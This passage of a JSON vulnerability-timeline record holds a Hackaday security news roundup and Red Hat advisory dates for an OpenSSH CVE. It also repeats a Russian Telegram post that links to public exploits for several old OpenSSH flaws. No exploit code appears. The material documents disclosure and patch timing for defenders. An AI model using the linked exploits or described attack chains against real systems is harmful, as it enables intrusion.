dollar you can gain access into some of the most confidential and trusted networks.\u201d\nBeing an exit node doesn\u2019t automatically mean the internal network is exposed, but past research has shown that poorly secured proxy SDKs can be used to reach other devices on the local network. If you have an off-brand Android TV box which seemed like a suspiciously good deal, it might be time to retire it, or at least move it to its own isolated network.\nNever gonna print you up\nOver a week in August, Yannick Dixken took apart the firmware on his Prusa MK4S, and came away with 14 findings covering roughly 23 individual bugs, ending in code execution on the printer\u2019s main controller over the network. Prusa has fixed all of them in Buddy firmware 7.0.0, which covers fifteen printer models across the CORE One, XL, MK4, MK3.5/3.9, and MINI lines. If you have one, update it.\nThe worst bug is in the code that handles commands from Prusa Connect, Prusa\u2019s cloud (or self-hosted) printer management service. A file path from Connect is copied into a shared 512-byte buffer, with the filename written right after it, and the only thing enforcing the 104-byte path limit is an \u201cassert()\u201d call. Asserts are debugging checks which are typically compiled out of release builds, so in the shipping firmware a long path overflows the buffer onto a pointer used to dispatch printer commands. The firmware also had no stack canaries, a common compiler protection against exactly this kind of overflow. To exploit it, an attacker has to control or intercept the Connect endpoint the printer talks to; Dixken tested with TLS turned off, so a real attack would need to defeat or downgrade TLS as well. Other findings include crafted USB filenames which also take control of the processor, and encrypted Connect downloads with no integrity checking.\nDixken used Claude Opus and a fuzzer, along with a Cortex-M emulator running the real signed firmware, and credits the tools with making this kind of thoroughness cheap. He also has kind words for Prusa, which answered within a day, reproduced the bugs, and coordinated disclosure, unlike a previous vendor which answered him with a law firm. As he puts it, \u201cOnly one of those two responses makes the next researcher pick up the phone.\u201d Not everything has gone smoothly: Prusa held back the 7.0.0 source code until the disclosure, to give owners time to update, which has kicked off a heated discussion about the GPL obligations of firmware derived from Marlin.\nGitLab regex bug hits Alpine\nIt\u2019s been a rough week for Alpine. Two weeks ago we mentioned CVE-2026-97229, a CVSS 10.0 bug in GitLab\u2019s handling of regular expressions in CI configurations. Alpine Linux has published an incident report describing how an attacker tried to exploit it against Alpine\u2019s own GitLab instance on October 20 and 21, a week after the fix was released.\nAlpine had accidentally upgraded to the version just before the fix. Worse, when they upgraded to a fixed version on October 22, they were still vulnerable: the actual bug is in Onigmo, the regular expression engine built into Ruby, and GitLab\u2019s fix is a patch to the copy of Ruby that ships in GitLab\u2019s own packages. Alpine runs GitLab on a standard Ruby, so the update did nothing until upstream Ruby shipped its own fix on October 23. The attacker crashed GitLab worker processes eight times, got partway through the exploit four times, and even downloaded Alpine\u2019s GitLab container image, presumably to tune the exploit for their exact build.\nAlpine found no evidence the attack succeeded, but couldn\u2019t rule it out, so it rebuilt the server from scratch, reset every password, and verified every commit and package against its 45 build servers. Package signing keys were never stored on the GitLab server. It\u2019s a good, transparent write-up, and the lesson applies to anyone running GitLab from source or a custom container: upgrading GitLab isn\u2019t enough, you also need Ruby 3.3.13, 3.4.12, 4.0.9, or later.\nFollow-ups: PHP2Shell and eMudhra\nLast week we noted that, despite all the chaos around the broken PHP2Shell embargo, nobody had been able to show a reliable exploit. Wordfence\u2019s latest update says that, as of October 28, it still isn\u2019t aware of any WordPress site compromised through PHP2Shell, despite logging about 77,600 attack requests from more than 2,000 IP addresses. That doesn\u2019t mean nothing has happened: security firm Dream reported an attacker using a customized PHP2Shell exploit plus a Linux kernel privilege escalation to take over 24 internet-facing firewalls, Palo Alto Networks reports active exploitation targeting PAN-OS management interfaces, and Morphisec reported code execution on a Windows IIS server. Working exploits apparently need to be tuned to each target, and as we keep seeing, \u201chard to exploit\u201d buys time, not safety. If practical exploitation requires tight timing, expect attackers to focus on products which embed PHP on hardware with predictable timing (like Palo Alto and other solutions-in-a-box) more than random servers, but you\u2019re still not safe if you haven\u2019t updated!\nThe trivially recoverable eMudhra certificate authority keys have also found a new use. Alexandro Sanchez has shown that they can be used to bypass Android\u2019s Factory Reset Protection, the anti-theft feature which requires the previous owner\u2019s Google account after a phone is wiped, so a stolen phone can\u2019t simply be reset and resold. Using one of the compromised intermediate certificates to impersonate Google\u2019s servers during the setup wizard, Sanchez injects a response that marks the phone as already set up, then combines that with an older vulnerability to wipe the FRP lock; he\u2019s keeping the full chain private. The compromised intermediates have been revoked and blocked by the major browsers, but they don\u2019t expire until 2028 or 2040, and anything which doesn\u2019t check revocation or get a trust store update will keep trusting them. Apparently that includes at least part of the Android setup process.\nAPT redirects and resumed downloads\nDebian has released a security update for APT, the package manager used by Debian, Ubuntu, Raspberry Pi OS, and many others. Max Justicz found that if an HTTP redirect makes two different package downloads end up at the same URI, APT can merge them, and a flaw in how it resumes interrupted downloads lets an attacker in the middle of the connection replace a package after it has been verified. The result is arbitrary code execution as root.\nMany APT mirrors still use plain HTTP, which is normally fine: the package lists are cryptographically signed and every package is checked against them, so tampering in transit should be caught. Bugs like this break that assumption. Justicz also found the last big APT redirect bug, CVE-2019-3462, back in 2019. Update APT, and consider switching your mirrors to HTTPS if they support it.\nSecure USB sticks, or not\nSecurity researcher Xusheng Li of Vector 35 found that Lenovo\u2019s ThinkPlus FU100 fingerprint USB stick, sold as an AES-256 encrypted drive, is in fact a plain SD card in a fancy case, Tom\u2019s Hardware reports. The fingerprint reader only turns the USB connection on; nothing is encrypted. Lenovo\u2019s TSD303 SSD did encrypt its data, but sent the correct password back over USB in plain text so the software could compare it. Lenovo says the products were sold only in China, that it fixed them and published CVE-2025-13453, CVE-2025-13454, and CVE-2025-13455 in January, and that owners can contact support for a replacement.\nIn a follow-up covered in his slides, Li used OpenAI\u2019s Codex with his company\u2019s reverse engineering tools to look at other vendors\u2019 \u201csecure\u201d USB products, finding fixed keys built into software from Netac, KakaSoft, and Nexcopy in minutes, and two hidden backdoor accounts in another product. His summary is hard to improve on: \u201c\u2018Hardware security\u2019 can be pure marketing.\u201d\nSecure, \u201csecure\u201d, or just a standard USB drive, you still need to know where your USB stick of data is. Politico reports that the UK\u2019s oversight body for surveillance found GCHQ, Britain\u2019s signals intelligence agency, can\u2019t account for \u201cthousands\u201d of USB sticks, hard drives, and memory cards which may hold intercepted communications. The Investigatory Powers Commissioner said GCHQ \u201cstill cannot tell me what has happened to removable media that may hold sensitive data, years after I first raised it with them.\u201d Hopefully they at least bought the kind which actually encrypts. \nhackaday.com/2026/11/06/this-w\u2026RE: infosec.exchange/users/malware\u2026", "url": "https://poliverso.org/objects/0477a01e-d1a6c9e6-8e63099de9f75bce"}, {"timestamp": "2026-11-07T05:13:21Z", "date_only": false, "value": "2026-11-07T05:13:21+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "document.tracking.revision_history.2.date", "linked_record": true}, {"timestamp": "2026-11-07T05:13:21Z", "date_only": false, "value": "2026-11-07T05:13:21+00:00", "kind": "other", "label": "Document generated", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "document.tracking.generator.date", "linked_record": true}, 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"2016-07-14T00:00:00Z", "date_only": false, "value": "2016-07-14T00:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.0.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "exploit_publication": {"timestamp": "2018-08-29T07:58:51Z", "date_only": false, "value": "2018-08-29T07:58:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/antichat/2044", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "e9ef49aa-5b19-4996-9012-49957e4d77fc", "content": "#linux #unix #exploit #\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\n\n\u041f\u043e\u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0431 OpenSSH\n\nOpenSSH \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u043b\u044b\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445. \u0418 \u043f\u043e\u0445\u043e\u0436\u0435 \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 - \u0447\u0430\u0441\u0442\u043e\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u043c\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0435\u043d\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. \u0415\u0441\u043b\u0438 \u0440\u0438\u0441\u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u043f\u0430\u0440\u0443 \u043b\u0435\u0442 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u0435 \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0435\u043c \u0435\u0449\u0435 \u043e\u043f\u0430\u0441\u043d\u044b \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 OpenSSH:\n\nCVE-2016-10009 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4 - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c OpenSSH \u043d\u0430 \u041a\u041b\u0418\u0415\u041d\u0422\u0415 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (\u044f\u043a\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 PKCS11), \u0435\u0441\u043b\u0438 \u0443 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437\u043e\u0431\u0440\u0430\u0437\u0438\u044f \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0436\u0435\u043b\u0430\u0435\u043c\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438: https://www.exploit-db.com/exploits/40963/\n\nCVE-2016-10010 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4 - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0440\u0443\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0441\u043e\u043a\u0435\u0442\u0430\u043c \u0434\u043e\u043c\u0435\u043d\u0430 Unix, \u0435\u0441\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e UsePrivilegeSeparation. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40962.zip\n\n\u0410 \u0435\u0449\u0435 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 7.4 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0432\u0435\u0440\u0441\u0438\u0438 1 SSH \u0438 \u0448\u0438\u0444\u0440\u043e\u0432 Blowfish, RC4 \u0438 3DES-CBC \u0438 RSA-\u043a\u043b\u044e\u0447\u0435\u0439 \u043a\u043e\u0440\u043e\u0447\u0435 1024 \u0431\u0438\u0442.\n\nCVE-2016-6210 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3 - \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u043e\u043c, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043b\u0438 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u0427\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u043d\u0438\u0446\u0443 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0445\u0435\u0448\u0435\u0439 BLOWFISH \u0438 SHA256/SHA512. \u0421\u043a\u0440\u0438\u043f\u0442: https://www.exploit-db.com/exploits/40136/\n\nCVE-2016-6515 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3 - \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e DoS: https://www.exploit-db.com/exploits/40888/\n\nCVE-2015-6565 - \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8 \u0438 6.9 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0444\u0430\u0439\u043b\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 PTY. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: https://www.exploit-db.com/exploits/45280/", "url": "https://t.me/antichat/2044", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": null, "patch": {"timestamp": "2017-08-01T14:11:55Z", "date_only": false, "value": "2017-08-01T14:11:55+00:00", "kind": "other", "label": "Vendor fix", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": true, "seconds": 67075131.0, "hours": 18631.980833333335, "days": 776.3325347222222, "min_seconds": 66988731.0, "max_seconds": 67075131.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2016-07-14T00:00:00Z", "date_only": false, "value": "2016-07-14T00:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.0.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2018-08-29T07:58:51Z", "date_only": false, "value": "2018-08-29T07:58:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/antichat/2044", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "e9ef49aa-5b19-4996-9012-49957e4d77fc", "content": "#linux #unix #exploit #\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\n\n\u041f\u043e\u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0431 OpenSSH\n\nOpenSSH \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u043b\u044b\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445. \u0418 \u043f\u043e\u0445\u043e\u0436\u0435 \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 - \u0447\u0430\u0441\u0442\u043e\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u043c\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0435\u043d\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. \u0415\u0441\u043b\u0438 \u0440\u0438\u0441\u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435, \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0437\u0430\u0433\u043b\u044f\u043d\u0443\u0442\u044c \u043d\u0430 \u043f\u0430\u0440\u0443 \u043b\u0435\u0442 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u0435 \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0435\u043c \u0435\u0449\u0435 \u043e\u043f\u0430\u0441\u043d\u044b \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 OpenSSH:\n\nCVE-2016-10009 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4 - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c OpenSSH \u043d\u0430 \u041a\u041b\u0418\u0415\u041d\u0422\u0415 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (\u044f\u043a\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 PKCS11), \u0435\u0441\u043b\u0438 \u0443 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437\u043e\u0431\u0440\u0430\u0437\u0438\u044f \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0436\u0435\u043b\u0430\u0435\u043c\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438: https://www.exploit-db.com/exploits/40963/\n\nCVE-2016-10010 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4 - \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0440\u0443\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0441\u043e\u043a\u0435\u0442\u0430\u043c \u0434\u043e\u043c\u0435\u043d\u0430 Unix, \u0435\u0441\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u043e UsePrivilegeSeparation. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40962.zip\n\n\u0410 \u0435\u0449\u0435 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 7.4 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u0432\u0435\u0440\u0441\u0438\u0438 1 SSH \u0438 \u0448\u0438\u0444\u0440\u043e\u0432 Blowfish, RC4 \u0438 3DES-CBC \u0438 RSA-\u043a\u043b\u044e\u0447\u0435\u0439 \u043a\u043e\u0440\u043e\u0447\u0435 1024 \u0431\u0438\u0442.\n\nCVE-2016-6210 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3 - \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0442\u043e\u043c, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043b\u0438 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u0427\u0435\u0440\u0435\u0437 \u0440\u0430\u0437\u043d\u0438\u0446\u0443 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0445\u0435\u0448\u0435\u0439 BLOWFISH \u0438 SHA256/SHA512. \u0421\u043a\u0440\u0438\u043f\u0442: https://www.exploit-db.com/exploits/40136/\n\nCVE-2016-6515 - \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.3 - \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e DoS: https://www.exploit-db.com/exploits/40888/\n\nCVE-2015-6565 - \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 6.8 \u0438 6.9 - \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0444\u0430\u0439\u043b\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 PTY. \u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442: https://www.exploit-db.com/exploits/45280/", "url": "https://t.me/antichat/2044", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start"]}, "total_time_to_patch": {"available": true, "seconds": 33055915.0, "hours": 9182.198611111111, "days": 382.59160879629627, "min_seconds": 32969515.0, "max_seconds": 33055915.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2016-07-15T00:00:00Z", "date_only": false, "value": "2016-07-15T00:00:00+00:00", "kind": "other", "label": "Discovery date", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.0.discovery_date", "metric_role": "discovery", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2017-08-01T14:11:55Z", "date_only": false, "value": "2017-08-01T14:11:55+00:00", "kind": "other", "label": "Vendor fix", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}, "discovery_after_disclosure": true}, "disclosure_to_patch": {"available": true, "seconds": 33142315.0, "hours": 9206.198611111111, "days": 383.59160879629627, "min_seconds": 33055915.0, "max_seconds": 33142315.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2016-07-14T00:00:00Z", "date_only": false, "value": "2016-07-14T00:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.0.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2017-08-01T14:11:55Z", "date_only": false, "value": "2017-08-01T14:11:55+00:00", "kind": "other", "label": "Vendor fix", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}}, "time_unpatched": {"available": true, "seconds": 33142315.0, "hours": 9206.198611111111, "days": 383.59160879629627, "min_seconds": 33055915.0, "max_seconds": 33142315.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2016-07-14T00:00:00Z", "date_only": false, "value": "2016-07-14T00:00:00+00:00", "kind": "other", "label": "Release date", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.0.release_date", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2017-08-01T14:11:55Z", "date_only": false, "value": "2017-08-01T14:11:55+00:00", "kind": "other", "label": "Vendor fix", "source": "csaf_redhat \u00b7 RHSA-2017:2029", "record": "RHSA-2017:2029", "field": "vulnerabilities.0.remediations.0.date", "metric_role": "patch", "metric_basis": "recorded_event", "linked_record": true}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": true, "seconds": -33932816.0, "hours": -9425.782222222222, "days": -392.7409259259259, "min_seconds": -33932816.0, "max_seconds": -33932816.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": true, "start": {"timestamp": "2018-08-29T07:58:51Z", "date_only": false, "value": "2018-08-29T07:58:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/antichat/2044", "record": "CVE-2016-6210", "field": "creation_timestamp", "uuid": "e9ef49aa-5b19-4996-9012-49957e4d77fc", "content": "#linux #unix #exploit #\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\n\n\u041f\u043e\u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0431 OpenSSH\n\nOpenSSH \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0430\u043b\u044b\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445. \u0418 \u043f\u043e\u0445\u043e\u0436\u0435 \u043a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 - \u0447\u0430\u0441\u0442\u043e\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u043c\u043e\u0441\u0442\u044c\u044e \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0447\u0435\u043d\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439. \u0415\u0441\u043b\u0438 \u0440\u0438\u0441\u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043c\u0435\u043d\u0438 